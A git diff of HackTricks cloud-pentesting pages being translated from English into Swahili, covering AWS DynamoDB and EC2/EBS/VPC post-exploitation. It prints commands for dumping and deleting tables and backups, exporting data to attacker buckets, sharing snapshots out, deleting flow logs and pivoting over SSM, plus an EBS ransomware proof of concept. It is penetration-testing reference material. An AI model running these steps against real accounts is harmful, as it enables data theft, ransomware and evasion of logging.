- --transact-items file:///tmp/a.json +--transact-items file:///tmp/a.json // With a.json [ - { - "Get": { - "Key": { - "Id": {"N": "205"} - }, - "TableName": "ProductCatalog" - } - } +{ +"Get": { +"Key": { +"Id": {"N": "205"} +}, +"TableName": "ProductCatalog" +} +} ] ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali ### `dynamodb:Query` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request. +**Kama ruhusa za awali** hii inaruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali 1 tu kwa kutumia ufunguo wa msingi wa kipengee kinachopaswa kupatikana. Inaruhusu kutumia [sehemu ya kulinganisha](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini kulinganisha pekee linaloruhusiwa na ufunguo wa msingi (ambalo lazima lionekane) ni "EQ", hivyo huwezi kutumia kulinganisha kupata DB nzima katika ombi. {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json - // With a.json - { +// With a.json +{ "Id" : { - "ComparisonOperator":"EQ", - "AttributeValueList": [ {"N": "205"} ] - } +"ComparisonOperator":"EQ", +"AttributeValueList": [ {"N": "205"} ] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb query \ - --table-name TargetTable \ - --key-condition-expression "AttributeName = :value" \ - --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ - --region +--table-name TargetTable \ +--key-condition-expression "AttributeName = :value" \ +--expression-attribute-values '{":value":{"S":"TargetValue"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali ### `dynamodb:Scan` -You can use this permission to **dump the entire table easily**. - +Unaweza kutumia ruhusa hii **kutoa jedwali zima kwa urahisi**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali ### `dynamodb:PartiQLSelect` -You can use this permission to **dump the entire table easily**. - +Unaweza kutumia ruhusa hii **kutoa jedwali zima kwa urahisi**. ```bash aws dynamodb execute-statement \ - --statement "SELECT * FROM ProductCatalog" +--statement "SELECT * FROM ProductCatalog" ``` - -This permission also allow to perform `batch-execute-statement` like: - +Hii ruhusa pia inaruhusu kutekeleza `batch-execute-statement` kama: ```bash aws dynamodb batch-execute-statement \ - --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' +--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` +lakini unahitaji kubainisha ufunguo wa msingi na thamani, hivyo siyo faida sana. -but you need to specify the primary key with a value, so it isn't that useful. - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -This permission will allow an attacker to **export the whole table to a S3 bucket** of his election: - +Ruhusa hii itamruhusu mshambuliaji **kutoa jedwali lote kwenye kikasha cha S3** alichokichagua: ```bash aws dynamodb export-table-to-point-in-time \ - --table-arn arn:aws:dynamodb:::table/TargetTable \ - --s3-bucket \ - --s3-prefix \ - --export-time \ - --region +--table-arn arn:aws:dynamodb:::table/TargetTable \ +--s3-bucket \ +--s3-prefix \ +--export-time \ +--region ``` - -Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with: - +Kumbuka kwamba ili hii ifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery iliyoanzishwa, unaweza kuangalia kama jedwali lina hiyo kwa: ```bash aws dynamodb describe-continuous-backups \ - --table-name +--table-name ``` - -If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission: - +Ikiwa haijawashwa, utahitaji **kuwasha** na kwa hiyo unahitaji ruhusa **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ - --table-name \ - --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true +--table-name \ +--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table. - +Kwa ruhusa hizi, mshambuliaji angeweza **kuunda jedwali jipya kutoka kwa nakala ya akiba** (au hata kuunda nakala ya akiba ili kisha aifufue katika jedwali tofauti). Kisha, kwa ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa akiba ambazo haziwezi kuwa tena katika jedwali la uzalishaji. ```bash aws dynamodb restore-table-from-backup \ - --backup-arn \ - --target-table-name \ - --region +--backup-arn \ +--target-table-name \ +--region ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table backup +**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika nakala ya meza ### `dynamodb:PutItem` -This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**. +Ruhusa hii inawawezesha watumiaji kuongeza **kitu kipya kwenye meza au kubadilisha kitu kilichopo** na kitu kipya. Ikiwa kitu chenye ufunguo wa msingi sawa tayari kipo, **kitu chote kitabadilishwa** na kitu kipya. Ikiwa ufunguo wa msingi haupo, kitu kipya chenye ufunguo wa msingi ulioainishwa kitaundwa **.** {{#tabs }} {{#tab name="XSS Example" }} - ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { - "Id": { - "S": "1000" - }, - "Name": { - "S": "Marc" - }, - "Description": { - "S": "" - } +"Id": { +"S": "1000" +}, +"Name": { +"S": "Marc" +}, +"Description": { +"S": "" +} } ``` - {{#endtab }} {{#tab name="AI Example" }} - ```bash aws dynamodb put-item \ - --table-name ExampleTable \ - --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ - --region +--table-name ExampleTable \ +--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**Madhara Yanayoweza Kutokea:** Ukatili wa udhaifu zaidi/kuvunjika kwa sheria kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB ### `dynamodb:UpdateItem` -This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression. +Ruhusa hii inawaruhusu watumiaji **kubadilisha sifa zilizopo za kipengee au kuongeza sifa mpya kwa kipengee**. Haifanyi **mabadiliko** ya kipengee chote; inasasisha tu sifa zilizotajwa. Ikiwa funguo kuu haipo katika jedwali, operesheni itafanya **kuunda kipengee kipya** chenye funguo kuu iliyotajwa na kuweka sifa zilizotajwa katika muktadha wa sasisho. {{#tabs }} {{#tab name="XSS Example" }} - ```bash ## Update item with XSS payload aws dynamodb update-item --table \ - --key file://key.json --update-expression "SET Description = :value" \ - --expression-attribute-values file://val.json +--key file://key.json --update-expression "SET Description = :value" \ +--expression-attribute-values file://val.json ### With key.json: { - "Id": { - "S": "1000" - } +"Id": { +"S": "1000" +} } ### and val.json { - ":value": { - "S": "" - } +":value": { +"S": "" +} } ``` - {{#endtab }} {{#tab name="AI Example" }} - ```bash aws dynamodb update-item \ - --table-name ExampleTable \ - --key '{"Id": {"S": "1"}}' \ - --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ - --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ - --region +--table-name ExampleTable \ +--key '{"Id": {"S": "1"}}' \ +--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ +--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**Madhara Yanayoweza Kutokea:** Kutumiwa kwa udhaifu/kuvunjwa zaidi kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB ### `dynamodb:DeleteTable` -An attacker with this permission can **delete a DynamoDB table, causing data loss**. - +Mshambuliaji mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, na kusababisha kupoteza data**. ```bash aws dynamodb delete-table \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -**Potential impact**: Data loss and disruption of services relying on the deleted table. +**Madhara yanayoweza kutokea**: Kupoteza data na kuingiliwa kwa huduma zinazotegemea meza iliyofutwa. ### `dynamodb:DeleteBackup` -An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**. - +Mshambuliaji mwenye ruhusa hii anaweza **kufuta nakala ya akiba ya DynamoDB, ambayo inaweza kusababisha kupoteza data katika hali ya kuokoa dharura**. ```bash aws dynamodb delete-backup \ - --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ - --region +--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ +--region ``` - -**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario. +**Madhara yanayoweza kutokea**: Kupoteza data na kutoweza kurejesha kutoka kwa nakala ya akiba wakati wa hali ya dharura ya urejeleaji. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Test if this actually works +> TODO: Jaribu kama hii inafanya kazi -An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage. - -1. Enable a stream on a DynamoDB table: +Mshambuliaji mwenye ruhusa hizi anaweza **kuwezesha mtiririko kwenye meza ya DynamoDB, kusasisha meza ili kuanza kutiririsha mabadiliko, na kisha kufikia mtiririko ili kufuatilia mabadiliko kwenye meza kwa wakati halisi**. Hii inamruhusu mshambuliaji kufuatilia na kuhamasisha mabadiliko ya data, ambayo yanaweza kusababisha uvujaji wa data. +1. Wezesha mtiririko kwenye meza ya DynamoDB: ```bash bashCopy codeaws dynamodb update-table \ - --table-name TargetTable \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ - --region +--table-name TargetTable \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ +--region ``` - -2. Describe the stream to obtain the ARN and other details: - +2. Eleza mchakato wa kupata ARN na maelezo mengine: ```bash bashCopy codeaws dynamodb describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -3. Get the shard iterator using the stream ARN: - +3. Pata iterator ya shard ukitumia ARN ya mtiririko: ```bash bashCopy codeaws dynamodbstreams get-shard-iterator \ - --stream-arn \ - --shard-id \ - --shard-iterator-type LATEST \ - --region +--stream-arn \ +--shard-id \ +--shard-iterator-type LATEST \ +--region ``` - -4. Use the shard iterator to access and exfiltrate data from the stream: - +4. Tumia iterator ya shard kufikia na kutoa data kutoka kwa mtiririko: ```bash bashCopy codeaws dynamodbstreams get-records \ - --shard-iterator \ - --region +--shard-iterator \ +--region ``` - -**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes. +**Madhara yanayoweza kutokea**: Ufuatiliaji wa wakati halisi na uvujaji wa data za mabadiliko ya jedwali la DynamoDB. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 9ae6a0a4f..00030f487 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,7 +4,7 @@ ## EC2 & VPC -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,10 +12,10 @@ For more information check: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\ -An attacker could abuse this to capture all the traffic and obtain sensitive information from it: +VPC traffic mirroring **hupiga nakala ya trafiki ya ndani na nje kwa EC2 instances ndani ya VPC** bila haja ya kufunga chochote kwenye instances wenyewe. Trafiki hii iliyopigwa nakala kawaida itatumwa kwa kitu kama mfumo wa kugundua uvamizi wa mtandao (IDS) kwa uchambuzi na ufuatiliaji.\ +Mshambuliaji anaweza kutumia hii kukamata trafiki yote na kupata taarifa nyeti kutoka kwake: -For more information check this page: +Kwa maelezo zaidi angalia ukurasa huu: {{#ref}} aws-malicious-vpc-mirror.md @@ -23,8 +23,7 @@ aws-malicious-vpc-mirror.md ### Copy Running Instance -Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**: - +Instances kwa kawaida zina aina fulani ya taarifa nyeti. Kuna njia tofauti za kuingia (angalia [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Hata hivyo, njia nyingine ya kuangalia kile inachokimiliki ni **kuunda AMI na kuendesha instance mpya (hata katika akaunti yako mwenyewe) kutoka kwake**: ```shell # List instances aws ec2 describe-images @@ -48,11 +47,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups " aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` - ### EBS Snapshot dump -**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\ -If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account: +**Snapshots ni nakala za volumes**, ambazo kwa kawaida zitakuwa na **taarifa nyeti**, kwa hivyo kuzikagua kunapaswa kufichua taarifa hii.\ +Ikiwa unapata **volume bila snapshot** unaweza: **Kuunda snapshot** na kufanya hatua zifuatazo au tu **kuunganisha kwenye mfano** ndani ya akaunti: {{#ref}} aws-ebs-snapshot-dump.md @@ -62,196 +60,177 @@ aws-ebs-snapshot-dump.md #### DNS Exfiltration -Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**. +Hata kama unafunga EC2 ili hakuna trafiki inayoweza kutoka, bado inaweza **kuondolewa kupitia DNS**. -- **VPC Flow Logs will not record this**. -- You have no access to AWS DNS logs. -- Disable this by setting "enableDnsSupport" to false with: +- **VPC Flow Logs haitarekodi hii**. +- Huna ufikiaji wa AWS DNS logs. +- Zima hii kwa kuweka "enableDnsSupport" kuwa false na: - `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` +`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs. +Mshambuliaji anaweza kuita API endpoints za akaunti inayodhibitiwa na yeye. Cloudtrail itarekodi hizi simu na mshambuliaji ataweza kuona data iliyondolewa katika Cloudtrail logs. ### Open Security Group -You could get further access to network services by opening ports like this: - +Unaweza kupata ufikiaji zaidi kwa huduma za mtandao kwa kufungua bandari kama hii: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` - ### Privesc to ECS -It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data. +Inawezekana kuendesha EC2 instance na kuisajili kutumika kuendesha ECS instances kisha kuiba data ya ECS instances. -For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). - -### Remove VPC flow logs +Kwa [**maelezo zaidi angalia hii**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +### Ondoa VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` - ### SSM Port Forwarding Required permissions: - `ssm:StartSession` -In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs. -One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster. +Mbali na utekelezaji wa amri, SSM inaruhusu tunneling ya trafiki ambayo inaweza kutumika kuhamasisha kutoka kwa EC2 instances ambazo hazina ufikiaji wa mtandao kwa sababu ya Security Groups au NACLs. Mojawapo ya hali ambapo hii ni muhimu ni kuhamasisha kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hadi klasta ya EKS ya kibinafsi. -> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html - -1. Install the SessionManagerPlugin on your machine -2. Log in to the Bastion EC2 using the following command: +> Ili kuanza kikao unahitaji kuwa na SessionManagerPlugin iliyosakinishwa: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +1. Sakinisha SessionManagerPlugin kwenye mashine yako +2. Ingia kwenye Bastion EC2 ukitumia amri ifuatayo: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` - -3. Get the Bastion EC2 AWS temporary credentials with the [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script -4. Transfer the credentials to your own machine in the `$HOME/.aws/credentials` file as `[bastion-ec2]` profile -5. Log in to EKS as the Bastion EC2: - +3. Pata akreditivu za muda za Bastion EC2 AWS kwa kutumia [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script +4. Hamisha akreditivu hizo kwenye mashine yako mwenyewe katika faili ya `$HOME/.aws/credentials` kama profaili ya `[bastion-ec2]` +5. Ingia kwenye EKS kama Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` - -6. Update the `server` field in `$HOME/.kube/config` file to point to `https://localhost` -7. Create an SSM tunnel as follows: - +6. Sasisha uwanja wa `server` katika faili ya `$HOME/.kube/config` ili kuelekeza kwenye `https://localhost` +7. Unda tunnel ya SSM kama ifuatavyo: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` - -8. The traffic from the `kubectl` tool is now forwarded throug the SSM tunnel via the Bastion EC2 and you can access the private EKS cluster from your own machine by running: - +8. Trafiki kutoka kwa zana ya `kubectl` sasa inasambazwa kupitia tunnel ya SSM kupitia Bastion EC2 na unaweza kufikia klasta ya EKS ya kibinafsi kutoka kwa mashine yako mwenyewe kwa kukimbia: ```shell kubectl get pods --insecure-skip-tls-verify ``` - Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application. -### Share AMI - +### Shiriki AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` +### Tafuta taarifa nyeti katika AMIs za umma na binafsi -### Search sensitive information in public and private AMIs - -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data. - -### Share EBS Snapshot +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni chombo kilichoundwa ili **kutafuta taarifa nyeti ndani ya picha za mashine za Amazon (AMIs) za umma au binafsi**. Inafanya mchakato wa kuzindua mifano kutoka kwa AMIs za lengo, kuunganisha volumu zao, na kuchanganua kwa siri au data nyeti zinazoweza kuwepo. +### Shiriki EBS Snapshot ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` - ### EBS Ransomware PoC -A proof of concept similar to the Ransomware demonstration demonstrated in the S3 post-exploitation notes. KMS should be renamed to RMS for Ransomware Management Service with how easy it is to use to encrypt various AWS services using it. - -First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption' +Uthibitisho wa dhana unaofanana na onyesho la Ransomware lililoonyeshwa katika maelezo ya baada ya kutumia S3. KMS inapaswa kubadilishwa jina kuwa RMS kwa Huduma ya Usimamizi wa Ransomware kutokana na urahisi wa kuitumia kuandika huduma mbalimbali za AWS kwa kutumia hiyo. +Kwanza kutoka kwa akaunti ya 'mshambuliaji' ya AWS, tengeneza ufunguo unaosimamiwa na mteja katika KMS. Kwa mfano huu tutaruhusu AWS kusimamia data ya ufunguo kwangu, lakini katika hali halisi, mhusika mbaya angehifadhi data ya ufunguo nje ya udhibiti wa AWS. Badilisha sera ya ufunguo ili kuruhusu kwa akaunti yoyote ya AWS Principal kutumia ufunguo huo. Kwa sera hii ya ufunguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu ufikiaji wote inaitwa 'Outside Encryption' ``` { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Outside Encryption", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey", - "kms:GenerateDataKeyWithoutPlainText", - "kms:CreateGrant" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:CreateGrant", - "kms:ListGrants", - "kms:RevokeGrant" - ], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Outside Encryption", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey", +"kms:GenerateDataKeyWithoutPlainText", +"kms:CreateGrant" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:CreateGrant", +"kms:ListGrants", +"kms:RevokeGrant" +], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: - `kms:CreateGrant` @@ -260,222 +239,214 @@ The key policy rule needs the following enabled to allow for the ability to use - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. +Sasa na ufunguo unaopatikana kwa umma wa kutumia. Tunaweza kutumia akaunti ya 'madhara' ambayo ina baadhi ya EC2 instances zilizozinduliwa zikiwa na EBS volumes zisizo na usimbuaji. EBS volumes za akaunti hii ya 'madhara' ndizo tunazolenga kwa ajili ya usimbuaji, shambulio hili linachukuliwa chini ya uvunjaji wa akaunti ya AWS yenye mamlaka ya juu. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Kama mfano wa ransomware wa S3. Shambulio hili litaunda nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, kutumia ufunguo unaopatikana kwa umma kutoka akaunti ya 'mshambuliaji' kusimbua EBS volumes mpya, kisha kuondoa EBS volumes za asili kutoka kwa EC2 instances na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda EBS volumes mpya zilizofichwa. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -This results in only encrypted EBS volumes left available in the account. +Hii inasababisha kuwa na EBS volumes tu zilizofichwa zilizobaki katika akaunti. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now. +Pia inafaa kutaja, script ilisimamisha EC2 instances ili kuondoa na kufuta EBS volumes za asili. EBS volumes za asili zisizo na usimbuaji zimeondolewa sasa. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy. - +Ifuatayo, rudi kwenye sera ya ufunguo katika akaunti ya 'mshambuliaji' na 